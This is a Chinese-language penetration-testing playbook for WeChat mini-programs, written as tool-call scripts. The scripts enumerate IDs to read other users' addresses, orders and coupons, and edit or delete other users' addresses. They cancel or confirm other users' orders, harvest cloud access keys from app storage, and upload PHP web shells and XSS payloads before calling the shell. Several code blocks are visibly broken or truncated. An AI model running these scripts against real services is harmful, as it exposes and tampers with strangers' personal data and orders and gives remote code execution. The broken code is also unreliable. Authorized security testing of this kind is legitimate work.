  535. | `/undefined` 与数字 ID 响应**长度不同** | 🔴 服务端区分了不同 ID,存在数据泄露风险 | 检查不同 ID 返回的具体字段 |
  536. ### 2.3 敏感数据暴露
  537. ```
  538. analysis_ops(action="find_sensitive_data_exposure")
  539. → 请求/响应中的敏感字段(已脱敏展示)
  540. → 关注: 手机号、身份证、银行卡号、密码、token 在响应体中回显
  541. → 按路由分组的敏感数据暴露统计
  542. ```
  543. ### 2.4 资金类接口识别
  544. ```
  545. analysis_ops(action="find_payment_and_order_surfaces")
  546. → 支付/订单/优惠券/钱包/余额接口(资金风险候选)
  547. → 标注: 来源路由 + 金额参数名 + HTTP 方法
  548. → 金额篡改候选: price/amount/cost/total/fee 参数
  549. → 优惠券/积分: couponId/bonusId/point 参数
  550. ```
  551. ### 2.4.A 地址管理越权测试(v2.8 新增)
  552. **核心原则:地址接口极易出现 IDOR —— 地址 ID 通常是自增整数,且增删改操作仅凭 token 可能无法校验地址归属。必须自己添加地址拿到 ID,再用该 ID 枚举其他用户地址。**
  553. > ⚠️ **地址接口命名不唯一**:不同小程序的地址 API 路径差异很大,必须从流量中获取真实路径。常见变体:
  554. > - `/api/app/user/address/add` — 用户收货地址
  555. > - `/api/app/delivery/address/add` — 物流配送地址
  556. > - `/api/app/trade/delivery/add-receiver` — **订单收货人**(含 deliveryIds 关联订单!)
  557. > - `/api/app/address/save` / `/api/app/address/create`
  558. >
  559. > `trade/delivery/add-receiver` 是特殊情况:它的 `deliveryIds` 字段关联了具体订单,
  560. > 这既是地址接口也是订单关联接口,IDOR 价值更高(改变他人订单的收货人)。
  561. #### Step 1:导航地址页采集真实接口
  562. ```javascript
  563. // 导航到地址管理页(按实际路由名)
  564. runtime_ops(action="runtime_eval_appservice",
  565. expression="(()=>{wx.navigateTo({url:'/pages-sub/address/address'});return 'ok'})()")
  566. // 也导航到订单详情页(通常含收货地址修改)
  567. runtime_ops(action="runtime_eval_appservice",
  568. expression="(()=>{wx.navigateTo({url:'/pages/editDelivery/editDelivery'});return 'ok'})()")
  569. // 等 2 秒后查看接口清单,找到 address/delivery/receiver 相关 GET/POST/PUT/DELETE
  570. analysis_ops(action="get_api_inventory")
  571. → 识别: address/list, address/add, address/get, address/edit, address/delete
  572. → 特别关注: delivery/add-receiver / delivery/address/add 等含 deliveryIds/receiverId 的接口
  573. ```
  574. #### Step 2:主动添加测试地址(获取 addressId / deliveryId)
  575. ```javascript
  576. runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
  577. var token=wx.getStorageSync('TOKEN')||wx.getStorageSync('token');
  578. var base='https://<API域名>';
  579. var ts=Date.now();
  580. // 尝试常见的地址创建 API 路径(从接口清单中取真实路径)
  581. var addPaths=[
  582. '/api/app/user/address/add',
  583. '/api/app/address/add',
  584. '/api/app/delivery/address/add',
  585. '/lyanxue/api/v1.2/app/delivery/address/add',
  586. '/lyanxue/api/v1.2/app/user/address/add',
  587. ];
  588. var testAddr={
  589. name:'IDOR测试',
  590. phone:'13800000001',
  591. province:'广东省',
  592. city:'深圳市',
  593. district:'南山区',
  594. detail:'测试路1号',
  595. isDefault:0,
  596. timestamp:ts
  597. };
  598. var results=[];
  599. for(var p of addPaths){
  600. var r=await new Promise(res=>{wx.request({
  601. url:base+p,method:'POST',
  602. header:{token:token,'Content-Type':'application/json'},
  603. data:testAddr,
  604. success:function(r){res({path:p,code:r.data&&r.data.code,msg:r.data&&r.data.msg,
  605. addrId:r.data&&r.data.data&&(r.data.data.id||r.data.data.addressId||r.data.data.deliveryId),
  606. preview:JSON.stringify(r.data).slice(0,300)})},
  607. fail:function(e){res({path:p,status:'fail'})}
  608. })});
  609. if(r.code===10000||r.code===200||r.code===0) results.push(r);
  610. else results.push(r);
  611. }
  612. return JSON.stringify(results,null,2);
  613. })()")
  614. → 记录成功的 path 和返回的 id(通常为整数)
  615. ```
  616. #### Step 2.5:针对 trade/delivery/add-receiver 的特殊处理
  617. **`add-receiver` 是订单关联的收货人接口,比普通地址更高价值:**
  618. ```javascript
  619. // 真实请求示例:
  620. // POST /lyanxue/api/v1.2/app/trade/delivery/add-receiver
  621. // Body: {"deliveryIds":"","name":"test","phone":"19555555555","address":"浙江省杭州市西湖区test","timestamp":1779688689599}
  622. //
  623. // deliveryIds: 空字符串 = 新建收货人(无关联订单)
  624. // deliveryIds: "123,456" = 关联订单 123 和 456 的收货人
  625. //
  626. // IDOR 测试重点:deliveryIds 使用他人订单 ID → 修改他人订单收货地址
  627. runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
  628. var token=wx.getStorageSync('TOKEN')||wx.getStorageSync('token');
  629. var base='https://<API域名>';
  630. var ts=Date.now();
  631. // Step 1: 先获取自己的 delivery list 拿到 deliveryIds
  632. var deliveries=await new Promise(res=>{wx.request({
  633. url:base+'/lyanxue/api/v1.2/app/trade/delivery/get-list?pageNo=1&pageSize=10&lockedStates=0&timestamp='+ts,
  634. method:'GET',header:{token:token},
  635. success:r=>res(r.data&&r.data.data&&r.data.data.deliveryList||[]),
  636. fail:e=>res([])
  637. })});
  638. console.log('[DELIVERIES]'+JSON.stringify(deliveries).slice(0,500));
  639. // Step 2: 用相邻 ID 测试 add-receiver(IDOR 核心)
  640. var myDeliveryId=deliveries[0]&&deliveries[0].id;
  641. var testIds=myDeliveryId?[myDeliveryId-2,myDeliveryId-1,myDeliveryId,myDeliveryId+1,myDeliveryId+2]:[1,2,3,100];
  642. var results=[];
  643. for(var id of testIds){
  644. var r=await new Promise(res=>{wx.request({
  645. url:base+'/lyanxue/api/v1.2/app/trade/delivery/add-receiver',
  646. method:'POST',header:{token:token,'Content-Type':'application/json'},
  647. data:{deliveryIds:String(id),name:'IDOR_TEST',phone:'13800000002',address:'测试地址IDOR',timestamp:ts},
  648. success:r=>res({deliveryId:id,code:r.data&&r.data.code,msg:r.data&&r.data.msg,preview:JSON.stringify(r.data).slice(0,200)}),
  649. fail:e=>res({deliveryId:id,status:'fail'})
  650. })});
  651. results.push(r);
  652. }
  653. return JSON.stringify(results,null,2);
  654. })()")
  655. → 判断标准:
  656. 他人 deliveryId → code:10000/200 → 🔴 越权修改他人订单收货人(严重!影响商品投递)
  657. 他人 deliveryId → 403/401 → ✅ 有归属验证
  658. 所有 deliveryId → code:0 → ⚠️ 接口存在但无数据(可能需要正确的 deliveryIds 格式)
  659. ```
  660. #### Step 3:用自己的 addressId 枚举其他地址(IDOR 核心测试)
  661. ```javascript
  662. runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
  663. var token=wx.getStorageSync('TOKEN');
  664. var base='https://<API域名>';
  665. var myAddressId=<Step2获取的自己的ID>; // 如 42
  666. // 枚举相邻 ID(前后各 10 个)
  667. var testIds=[];
  668. for(var i=Math.max(1,myAddressId-10);i<=myAddressId+10;i++) testIds.push(i);
  669. testIds=[1,2,3,100,1000].concat(testIds); // 加入极值
  670. var results=[];
  671. var getPath='/api/app/user/address/get'; // 从 Step1 接口清单中取真实路径
  672. for(var id of testIds){
  673. var r=await new Promise(res=>{wx.request({
  674. url:base+getPath+'?id='+id,method:'GET',
  675. header:{token:token,platform:'mp-weixin'},
  676. success:function(r){
  677. var d=r.data&&r.data.data;
  678. res({id:id,code:r.data&&r.data.code,
  679. hasData:!!(d&&Object.keys(d).length),
  680. name:d&&(d.name||d.receiverName||''),
  681. phone:d&&(d.phone||d.mobile||d.tel||''),
  682. detail:d&&(d.detail||d.address||d.fullAddress||''),
  683. preview:JSON.stringify(d).slice(0,300)});
  684. },
  685. fail:function(e){res({id:id,status:'fail'})}
  686. })});
  687. results.push(r);
  688. }
  689. return JSON.stringify(results,null,2);
  690. })()")
  691. → 判断标准:
  692. id=自己ID → code:200 有数据 → BASELINE(正常)
  693. id=他人ID → code:200 + name/phone/detail 与自己不同 → 🔴 IDOR 确认
  694. id=他人ID → code:200 + 空数据 {} → ⚠️ 服务端用 token 过滤(正常防御)
  695. id=随机ID → code:403/401 → ✅ 有鉴权
  696. ```
  697. #### Step 4:修改/删除他人地址(写越权,危害更大)
  698. ```javascript
  699. runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
  700. var token=wx.getStorageSync('TOKEN');
  701. var base='https://<API域名>';
  702. var targetId=<他人的addressId>; // 从Step3中找到的他人地址ID
  703. var tests=[
  704. // 修改越权
  705. {label:'edit_other',method:'PUT',path:'/api/app/user/address/edit',
  706. data:{id:targetId,name:'HACKED',phone:'13900000001',detail:'越权修改的地址'}},
  707. // 设为默认(可能影响他人下单行为)
  708. {label:'set_default',method:'PUT',path:'/api/app/user/address/default',
  709. data:{id:targetId}},
  710. // 删除越权
  711. {label:'delete_other',method:'DELETE',path:'/api/app/user/address/delete?id='+targetId,
  712. data:{}},
  713. // POST 方式删除(部分接口用 POST)
  714. {label:'delete_post',method:'POST',path:'/api/app/user/address/delete',
  715. data:{id:targetId}},
  716. ];
  717. var results=[];
  718. for(var t of tests){
  719. var r=await new Promise(res=>{wx.request({
  720. url:base+t.path,method:t.method,
  721. header:{token:token,'Content-Type':'application/json',platform:'mp-weixin'},
  722. data:t.data,
  723. success:function(r){res({label:t.label,code:r.data&&r.data.code,
  724. msg:r.data&&r.data.msg,preview:JSON.stringify(r.data).slice(0,200)})},
  725. fail:function(e){res({label:t.label,status:'fail'})}
  726. })});
  727. results.push(r);
  728. }
  729. return JSON.stringify(results,null,2);
  730. })()")
  731. → 判断标准:
  732. edit_other code:200 → 🔴 越权修改他人地址(严重)
  733. delete_other code:200 → 🔴 越权删除他人地址(严重)
  734. set_default code:200 → 🔴 越权修改他人默认收货地址(影响订单投递)
  735. 所有操作返回 403/401 → ✅ 服务端验证地址归属
  736. ```
  737. ---
  738. ### 2.4.B 订单越权测试(v2.8 新增 — 不支付也能测越权)
  739. **核心原则:不需要实际支付,只需要提交订单(状态=待支付)拿到 orderId,再用该 ID 对其他订单做读取/取消/改价测试。资金类操作遵守红线:build_replay_plan 只生成计划,不实际发出支付请求。**
  740. #### Step 1:导航订单页采集真实接口
  741. ```javascript
  742. runtime_ops(action="runtime_eval_appservice",
  743. expression="(()=>{wx.navigateTo({url:'/pages-sub/order/order'});return 'ok'})()")
  744. // 也导航到订单详情(通常有 orderId 参数)
  745. runtime_ops(action="runtime_eval_appservice",
  746. expression="(()=>{wx.navigateTo({url:'/pages-sub/orderDetail/orderDetail?id=1'});return 'ok'})()")
  747. // 收集真实订单 API 路径
  748. analysis_ops(action="find_payment_and_order_surfaces")
  749. → 识别: trade/get-list, trade/get, trade/cancel, order/add, order/pay, cashier 等
  750. → 特别注意含 id/orderId/tradeId/no 参数的 GET/POST 接口
  751. ```
  752. #### Step 2:提交测试订单(不支付,仅拿到 orderId)
  753. ```javascript
  754. runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
  755. var token=wx.getStorageSync('TOKEN');
  756. var base='https://<API域名>';
  757. // 先获取可购买的商品列表(找一个最便宜的商品)
  758. var prodR=await new Promise(res=>{wx.request({
  759. url:base+'/api/app/product/get-list?pageNo=1&pageSize=5',method:'GET',
  760. header:{token:token,platform:'mp-weixin'},
  761. success:function(r){res(r.data&&r.data.data)},fail:function(e){res(null)}
  762. })});
  763. console.log('[PRODUCTS]'+JSON.stringify(prodR).slice(0,500));
  764. // 尝试提交订单(只提交,不支付)
  765. var orderPaths=[
  766. '/api/app/trade/add',
  767. '/api/app/order/add',
  768. '/api/app/trade/create',
  769. '/api/app/order/create',
  770. '/api/app/trade/submit',
  771. ];
  772. var results=[];
  773. for(var p of orderPaths){
  774. var r=await new Promise(res=>{wx.request({
  775. url:base+p,method:'POST',
  776. header:{token:token,'Content-Type':'application/json',platform:'mp-weixin'},
  777. data:{
  778. productId:prodR&&prodR.list&&prodR.list[0]&&prodR.list[0].id||1,
  779. quantity:1,
  780. addressId:1, // 使用Step1添加的地址ID
  781. remark:'IDOR测试订单',
  782. },
  783. success:function(r){res({path:p,code:r.data&&r.data.code,
  784. orderId:r.data&&r.data.data&&(r.data.data.id||r.data.data.orderId||r.data.data.tradeId||r.data.data.no),
  785. preview:JSON.stringify(r.data).slice(0,400)})},
  786. fail:function(e){res({path:p,status:'fail'})}
  787. })});
  788. results.push(r);
  789. }
  790. return JSON.stringify(results,null,2);
  791. })()")
  792. → 记录成功的 orderId / tradeId(此时订单状态为待支付,不会实际扣款)
  793. → ⚠️ 红线:不发起支付请求,只记录 ID
  794. ```
  795. #### Step 3:用自己的 orderId 读取/枚举他人订单(IDOR)
  796. ```javascript
  797. runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
  798. var token=wx.getStorageSync('TOKEN');
  799. var base='https://<API域名>';
  800. var myOrderId=<Step2获取的自己订单ID>; // 如 10086
  801. // 枚举相邻 ID + 极值
  802. var testIds=[1,2,3,100];
  803. for(var i=Math.max(1,myOrderId-5);i<=myOrderId+5;i++) testIds.push(i);
  804. var getPath='/api/app/trade/get'; // 从接口清单取真实路径,也试 order/get/orderDetail/get
  805. var results=[];
  806. for(var id of testIds){
  807. var r=await new Promise(res=>{wx.request({
  808. url:base+getPath+'?id='+id,method:'GET',
  809. header:{token:token,platform:'mp-weixin'},
  810. success:function(r){
  811. var d=r.data&&r.data.data;
  812. res({id:id,code:r.data&&r.data.code,
  813. hasData:!!(d&&Object.keys(d||{}).length),
  814. userId:d&&(d.userId||d.buyerId||d.memberId||''),
  815. amount:d&&(d.amount||d.totalPrice||d.payAmount||''),
  816. status:d&&(d.status||d.tradeState||d.state||''),
  817. phone:d&&(d.phone||d.receiverPhone||d.mobile||''),
  818. preview:JSON.stringify(d).slice(0,300)});
  819. },
  820. fail:function(e){res({id:id,status:'fail'})}
  821. })});
  822. results.push(r);
  823. }
  824. return JSON.stringify(results,null,2);
  825. })()")
  826. → 判断标准:
  827. 他人 orderId → code:200 + 不同 userId/phone/amount → 🔴 订单 IDOR(高危)
  828. 他人 orderId → code:200 + 空 data → ⚠️ 服务端按 token 过滤(正常)
  829. 任意 orderId → code:403/401 → ✅ 鉴权有效
  830. ⚠️ 订单数据中出现他人手机号/姓名 → 🔴 同时构成敏感数据泄露
  831. ```
  832. #### Step 4:取消他人订单(写越权)
  833. ```javascript
  834. runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
  835. var token=wx.getStorageSync('TOKEN');
  836. var base='https://<API域名>';
  837. var otherOrderId=<Step3中找到的他人订单ID>;
  838. var tests=[
  839. // 取消越权(不涉及资金,安全操作)
  840. {label:'cancel_other',method:'POST',path:'/api/app/trade/cancel',data:{id:otherOrderId,reason:'测试'}},
  841. {label:'cancel_other2',method:'POST',path:'/api/app/order/cancel',data:{orderId:otherOrderId}},
  842. // 确认收货越权(伪造他人已收货)
  843. {label:'confirm_other',method:'POST',path:'/api/app/trade/confirm',data:{id:otherOrderId}},
  844. // 删除订单记录
  845. {label:'delete_order',method:'POST',path:'/api/app/trade/delete',data:{id:otherOrderId}},
  846. ];
  847. var results=[];
  848. for(var t of tests){
  849. var r=await new Promise(res=>{wx.request({
  850. url:base+t.path,method:t.method,
  851. header:{token:token,'Content-Type':'application/json',platform:'mp-weixin'},
  852. data:t.data,
  853. success:function(r){res({label:t.label,code:r.data&&r.data.code,msg:r.data&&r.data.msg})},
  854. fail:function(e){res({label:t.label,status:'fail'})}
  855. })});
  856. results.push(r);
  857. }
  858. return JSON.stringify(results,null,2);
  859. })()")
  860. → 判断标准:
  861. cancel_other code:200 → 🔴 越权取消他人订单(严重)
  862. confirm_other code:200 → 🔴 越权伪造他人收货(严重,可触发商家发货/结算)
  863. delete_order code:200 → 🔴 越权删除他人订单记录(严重)
  864. 所有操作返回 403/401 → ✅ 服务端验证订单归属
  865. ```
  866. #### Step 5:订单价格篡改测试(客户端提交金额时)
  867. ```javascript
  868. // ⚠️ 只生成计划,不实际发起支付。若订单提交接口含 price/amount 参数:
  869. analysis_ops(action="build_replay_plan", request_id="<订单提交请求ID>")
  870. → 检查请求 body 中是否有 price/amount/totalFee/goodsPrice 等客户端可控价格参数
  871. → 若有 → 🔴 CRITICAL:客户端价格注入风险,1分钱买任意商品
  872. → 生成修改方案(price 改为 0.01)但 **不自动发送**
  873. // 判断:服务端是否用 productId 重新查价
  874. // 安全做法:服务端按 productId 查数据库价格,忽略客户端 price 参数
  875. // 不安全做法:服务端直接用客户端传入的 price 字段
  876. ```
  877. #### Step 6:优惠券/积分越权使用
  878. ```javascript
  879. runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
  880. var token=wx.getStorageSync('TOKEN');
  881. var base='https://<API域名>';
  882. // 获取自己的优惠券列表(找到 couponId)
  883. var coupons=await new Promise(res=>{wx.request({
  884. url:base+'/api/app/coupon/user/coupon/get-list?states=&pageNo=1&pageSize=10',
  885. method:'GET',header:{token:token,platform:'mp-weixin'},
  886. success:function(r){res(r.data&&r.data.data&&r.data.data.couponList||[])},
  887. fail:function(e){res([])}
  888. })});
  889. console.log('[MY_COUPONS]'+JSON.stringify(coupons).slice(0,500));
  890. // 枚举其他 couponId(相邻值)
  891. var myCouponId=coupons[0]&&coupons[0].id;
  892. if(!myCouponId) return '没有可用优惠券,跳过';
  893. var testIds=[1,2,3,myCouponId-1,myCouponId,myCouponId+1,myCouponId+2];
  894. var results=[];
  895. for(var id of testIds){
  896. var r=await new Promise(res=>{wx.request({
  897. url:base+'/api/app/coupon/user/coupon/get?id='+id,method:'GET',
  898. header:{token:token,platform:'mp-weixin'},
  899. success:function(r){
  900. var d=r.data&&r.data.data;
  901. res({id:id,code:r.data&&r.data.code,
  902. userId:d&&(d.userId||d.memberId||''),
  903. discount:d&&(d.discount||d.discountAmount||d.value||''),
  904. status:d&&(d.status||d.state||''),
  905. preview:JSON.stringify(d).slice(0,300)});
  906. },
  907. fail:function(e){res({id:id,status:'fail'})}
  908. })});
  909. results.push(r);
  910. }
  911. return JSON.stringify(results,null,2);
  912. })()")
  913. → 他人 couponId → code:200 + 不同 userId → 🔴 优惠券 IDOR,可使用他人券
  914. → 下单时传入他人 couponId 且服务端不验证归属 → 🔴 免费薅券
  915. ```
  916. ### 2.5 其他风险面
  917. ```
  918. analysis_ops(action="find_debug_admin_surfaces")
  919. → debug/admin/test/internal 路由
  920. analysis_ops(action="find_sign_related_requests")
  921. → 含签名/时间戳/nonce 的接口(重放风险候选)
  922. → 对比同一接口多次请求的 sign 变化因子
  923. ```
  924. ### 2.5.A 上传点深度测试(v2.8 新增 — 不能只靠被动捕获)
  925. ```javascript
  926. // 在 Phase 0 hook_wx_request 之后立即注入,确保捕获所有后续上传
  927. runtime_ops(action="runtime_eval_appservice",
  928. expression="(()=>{
  929. return orig.apply(this,arguments);
  930. };
  931. })()")
  932. ```
  933. #### Step 1.5:从已捕获流量中查找上传 URL(Hook 未触发时的备用方案)
  934. ```javascript
  935. network_ops(action="get_all_requests")
  936. // 方法二:从 DNS prefetch 推断上传域名和 bucket
  937. // 导航到任意页面后,检查 page-frame.html 中的 dns-prefetch 标签
  938. // 常见 OSS 相关 prefetch:
  939. // lyanxue.oss-cn-hangzhou.aliyuncs.com → Aliyun OSS bucket = "lyanxue"
  940. // zglyxoss.zmg.com.cn:8443 → 自定义 OSS 域名
  941. // yljlb-oss.zmg.com.cn:9443 → 另一自定义 OSS
  942. // 方法三:从网络请求 Host 头推断
  943. // 真实上传请求特征:
  944. // - Method: POST
  945. // - Headers: token / Authorization(认证)
  946. // - Body: formData 含 timestamp 字段
  947. ```
  948. > **文件名格式注意**:很多小程序使用时间戳作为文件名,格式为 `{timestamp}.{ext}`,例如:
  949. #### Step 2:主动导航上传页面(关键 — 按路由关键词逐一触发)
  950. | 路由关键词 | 典型上传场景 |
  951. |-----------|------------|
  952. | `person / user / account / myInfo` | 用户头像上传 |
  953. | `editInfo / profile / edit` | 个人资料图片 |
  954. | `publishMoments / post / release` | 发帖多图 / 视频 |
  955. | `zone / community / circle` | 社区发布图片 |
  956. | `activity/apply / applyList` | 活动报名证件照 |
  957. | `kyc / verify / identity / realName` | 实名认证证件 |
  958. | `feedback / complaint / report` | 投诉截图 |
  959. | `live / livePlayer` | 直播封面/横幅 |
  960. | `editDealerTrade / salesTradeList` | 经销商合同图片 |
  961. | `album / photo / cloudAlbum` | 相册多图 |
  962. | `product / goods / item` | 商品图片(商家端)|
  963. ```javascript
  964. // 逐一导航触发,每个路由等待 2-3 秒后检查 console
  965. runtime_ops(action="runtime_eval_appservice",
  966. expression="(()=>{wx.navigateTo({url:'/pages-sub/publishMoments/index'});return 'ok'})()")
  967. // 等待后查收 Hook 日志
  968. network_ops(action="get_all_requests")
  969. ```
  970. #### Step 3:OSS 前端直签检测(CRITICAL 级别风险)
  971. ```javascript
  972. // 检查 Storage 中是否有 STS Token 或前端直签凭证
  973. runtime_ops(action="runtime_eval_appservice",
  974. expression="(()=>{
  975. try{
  976. var keys=wx.getStorageInfoSync().keys;
  977. var r={};
  978. keys.filter(k=>/sts|oss|cos|cred|bucket|region|endpoint|accessKey|secretKey|securityToken/i.test(k))
  979. .forEach(k=>{try{r[k]=JSON.stringify(wx.getStorageSync(k)).slice(0,400)}catch(e){}});
  980. return JSON.stringify(r);
  981. }catch(e){return String(e)}
  982. })()")
  983. // 检查全局变量中是否有 OSS client 实例或配置
  984. runtime_ops(action="runtime_eval_appservice",
  985. expression="(()=>{
  986. var hits={};
  987. Object.keys(globalThis||{}).forEach(function(k){
  988. try{
  989. var v=globalThis[k];
  990. var s=v&&typeof v==='object'?JSON.stringify(v):'';
  991. if(s&&/accessKeyId|secretAccessKey|securityToken|bucket.*region|endpoint.*oss/i.test(s))
  992. hits[k]=s.slice(0,400);
  993. }catch(e){}
  994. });
  995. return JSON.stringify(hits);
  996. })()")
  997. → 发现 accessKeyId + secretAccessKey + securityToken → 🔴 STS 前端直签泄露
  998. → 若 securityToken 存在但 expiration 已过期 → 🟡 已失效,但说明曾泄露
  999. → 发现 accessKeyId 无 securityToken(永久凭证)→ 🔴 CRITICAL,长期 AK/SK 硬编码
  1000. ```
  1001. #### Step 4:文件类型绕过测试(对每个上传端点)
  1002. ```javascript
  1003. runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
  1004. var token='<当前token>';
  1005. var fs=wx.getFileSystemManager();
  1006. var base=wx.env.USER_DATA_PATH;
  1007. +'2 0 obj\n<< /Type /Pages /Kids [3 0 R] /Count 1 >>\nendobj\n'
  1008. +'3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Contents 4 0 R >>\nendobj\n'
  1009. +'4 0 obj\n<< /Length 41 >>\nstream\nBT /F1 12 Tf 100 700 Td (Hello PDF) Tj ET\nendstream\nendobj\n'
  1010. +'5 0 obj\n<< /S /JavaScript /JS (app.alert(\'XSS\')) >>\nendobj\n'
  1011. +'xref\n0 6\n0000000000 65535 f\n0000000009 00000 n\n0000000076 00000 n\n'
  1012. +'0000000133 00000 n\n0000000220 00000 n\n0000000311 00000 n\n'
  1013. +'trailer\n<< /Size 6 /Root 1 0 R >>\nstartxref\n385\n%%EOF';
  1014. var tests=[
  1015. // ─── PHP/后端执行类 ───
  1016. {label:'php_as_jpg', filename:'test.php', mime:'image/jpeg', content:'<?php phpinfo();?>'},
  1017. {label:'phtml', filename:'test.phtml', mime:'image/jpeg', content:'<?php system($_GET[\"c\"]);?>'},
  1018. {label:'gif_php', filename:'shell.gif', mime:'image/gif', content:'GIF89a<?php system($_GET[\"c\"]);?>'},
  1019. {label:'double_ext', filename:'img.php.jpg', mime:'image/jpeg', content:'<?php phpinfo();?>'},
  1020. // ─── 前端 XSS 类 ───
  1021. {label:'svg_xss', filename:'xss.svg', mime:'image/svg+xml',content:'<svg xmlns="http://www.w3.org/2000/svg"><script>alert(document.cookie)</script></svg>'},
  1022. {label:'html_xss', filename:'xss.html', mime:'text/plain', content:'<script>alert(document.cookie)</script>'},
  1023. // 这意味着服务端只校验 Content-Type 不校验文件扩展名,或两者都不校验内容
  1024. {label:'svg_mime_bypass',filename:String(Date.now())+'.svg', mime:'image/jpeg', content:'<svg><script>alert(1)</script></svg>'},
  1025. {label:'html_mime_bypass',filename:String(Date.now())+'.html',mime:'image/jpeg',content:'<script>alert(document.cookie)</script>'},
  1026. // ─── 基线 ───
  1027. {label:'normal_jpg', filename:'normal.jpg', mime:'image/jpeg', content:'\\xff\\xd8\\xff\\xe0normal'},
  1028. ];
  1029. var results=[];
  1030. for(var t of tests){
  1031. fs.writeFileSync(base+'/'+t.filename, t.content, 'utf8');
  1032. var r=await new Promise(res=>{
  1033. header:{token:token, platform:'mp-weixin'},
  1034. formData:{fileType:'image'},
  1035. success:function(r){
  1036. var fileUrl=''; try{fileUrl=JSON.parse(r.data).data.fileUrl||'';}catch(e){}
  1037. res({label:t.label,filename:t.filename,status:r.statusCode,fileUrl:fileUrl,resp:String(r.data).slice(0,300)});
  1038. },
  1039. fail:function(e){res({label:t.label,filename:t.filename,status:'fail',err:JSON.stringify(e)})}
  1040. });
  1041. });
  1042. results.push(r);
  1043. }
  1044. return JSON.stringify(results,null,2);
  1045. })()")
  1046. → 判断标准:
  1047. 上传成功(200) + URL 保留 .php/.phtml → 🔴 访问 URL?c=id 验证 RCE
  1048. 上传成功 + 文件被重命名为 UUID.jpg → ✅ 重命名保护
  1049. 上传成功 + .svg + URL 保留扩展名 → 🔴 浏览器 / web-view XSS
  1050. 服务端返回「文件格式不支持」→ ✅ 白名单限制
  1051. ```
  1052. | 场景 | 危害 | 条件 |
  1053. |------|------|------|
  1054. | 任何渠道将 PDF 链接嵌入 `web-view` | 🔴 HIGH — webview 调用系统 PDF 阅读器 | 需 webview 支持 PDF 预览 |
  1055. #### Step 5:上传后访问验证
  1056. ```javascript
  1057. // 对上传成功且 URL 保留危险扩展名的文件:
  1058. runtime_ops(action="runtime_eval_appservice", expression="(async ()=>{
  1059. var tests=[
  1060. {label:'php_rce', url:'<.php URL>?c=id'},
  1061. {label:'svg_xss', url:'<.svg URL>'},
  1062. ];
  1063. var results=[];
  1064. for(var t of tests){
  1065. var r=await new Promise(res=>{
  1066. wx.request({url:t.url,method:'GET',
  1067. success:r=>res({label:t.label,status:r.statusCode,ct:r.header&&r.header['content-type'],body:JSON.stringify(r.data).slice(0,400)}),
  1068. fail:e=>res({label:t.label,status:'fail'})});
  1069. });
  1070. results.push(r);
  1071. }
  1072. // uid= / root: → 🔴 RCE
  1073. // <script> 回显 → 🔴 SVG XSS
  1074. // content-type: application/pdf → 🔴 确认 PDF 以正确类型投递,Acrobat 打开触发 JS
  1075. return JSON.stringify(results,null,2);
  1076. })()")
  1077. ```
  1078. ### 2.5.1 专项风险检测(v2.5 新增)
  1079. **① JWT / Token 暴露在 URL 查询参数中**
  1080. ```
  1081. # 从接口清单中过滤 URL 含 token=eyJ / access_token= / jwt= 的请求
  1082. network_ops(action="get_all_requests")
  1083. → 筛选 url.includes('token=eyJ') 或 query 字段含 token/jwt/access_token 键
  1084. → 风险: token 出现在服务端日志 / Nginx access log / Referer 头 / 浏览器历史
  1085. → 定级: MEDIUM(信息泄露)→ 若 token 可直接复用则升级为 HIGH
  1086. → 建议: token 改为 Authorization 请求头传输
  1087. ```
  1088. **② 静态 / 固定 sign 值(不具备重放防护)**
  1089. ```
  1090. # 判断 sign 是否为固定字符串(非计算值)
  1091. analysis_ops(action="find_sign_related_requests")
  1092. → 对同一接口的多次请求对比 sign 字段
  1093. → 若 sign 值完全相同(如 sign=latestLecture_daka)→ 🔴 静态 sign,重放无阻碍
  1094. → 若 sign 随 timestamp 变化 → 进一步检查 timestamp 窗口长度
  1095. → 若多次请求 sign 不同但 nonce 相同 → 🔴 nonce 未一次性校验
  1096. ```
  1097. **③ 路径双斜杠异常(`/path//endpoint`)**
  1098. ```
  1099. # 在已采集请求中搜索双斜杠路径
  1100. network_ops(action="get_all_requests")
  1101. → 筛选 url 含 '//' 且不是协议头 '://' 的请求
  1102. → 风险: 部分服务器对 /path//endpoint 和 /path/endpoint 路由逻辑不同
  1103. 可能绕过中间件认证(如 Spring Security / Nginx location 规则)
  1104. → 测试: 同时发送标准路径和双斜杠路径,对比响应差异
  1105. ```
  1106. **④ enc 绑定模式识别(context-bound request signature)**
  1107. ```
  1108. # enc 参数特征: 32位 hex(MD5 长度),出现在多个不同接口的 query/body 中
  1109. # enc 绑定上下文,无法跨 session 复用(更换 token 则 enc 失效)
  1110. # 识别方式:
  1111. # 1. enc 出现在多个接口且长度固定(32位)
  1112. # 2. 更换 Authorization/auth-token → 相同 enc 返回"加密校验失败"
  1113. # 3. 清空/伪造 Authorization 但 enc 不变 → 仍返回"加密校验失败"
  1114. # 结论: enc 与 token 共同构成双因子请求签名,IDOR 测试需在同一 session 内完成
  1115. # 突破思路:
  1116. # → 优先从运行时 Storage 提取当前有效 token + enc(见场景 3)
  1117. # → 使用 hook_wx_request 捕获下一次真实请求中的完整 headers(含 enc 原值)
  1118. ```
  1119. **⑤ 多 appId 同属一个评估目标(不需要分开评估)**
  1120. ```
  1121. # 核心原则:同一 WeChat 会话中出现的多个 appId,均属同一小程序产品线(同一开发者),
  1122. # 共同构成评估目标。不同 appId 只是前端入口不同,后端 API 服务器通常共享。
  1123. # → 不需要为每个 appId 单独开展独立的 Phase 0-6 评估
  1124. # → 只需记录每个 appId 对应的认证机制,然后统一在当前 session 内测试所有接口
  1125. # Step 1: 识别所有 appId(从 Referer 头解析)
  1126. network_ops(action="get_all_requests")
  1127. → 提取 request_headers.Referer
  1128. → 正则匹配: servicewechat\.com\/([a-z0-9]{16,18})\/
  1129. → 得到 appId 列表,如: [wx83e9ba48, wx5636748e, wxf19adc6d]
  1130. # Step 2: 确认同属一个产品(验证后端域名重叠)
  1131. # 若不同 appId 的请求指向相同 API 域名 → 确认同一产品生态,全部纳入范围
  1132. # 若后端域名完全不同 → 可能是不同业务,需向委托方确认授权范围
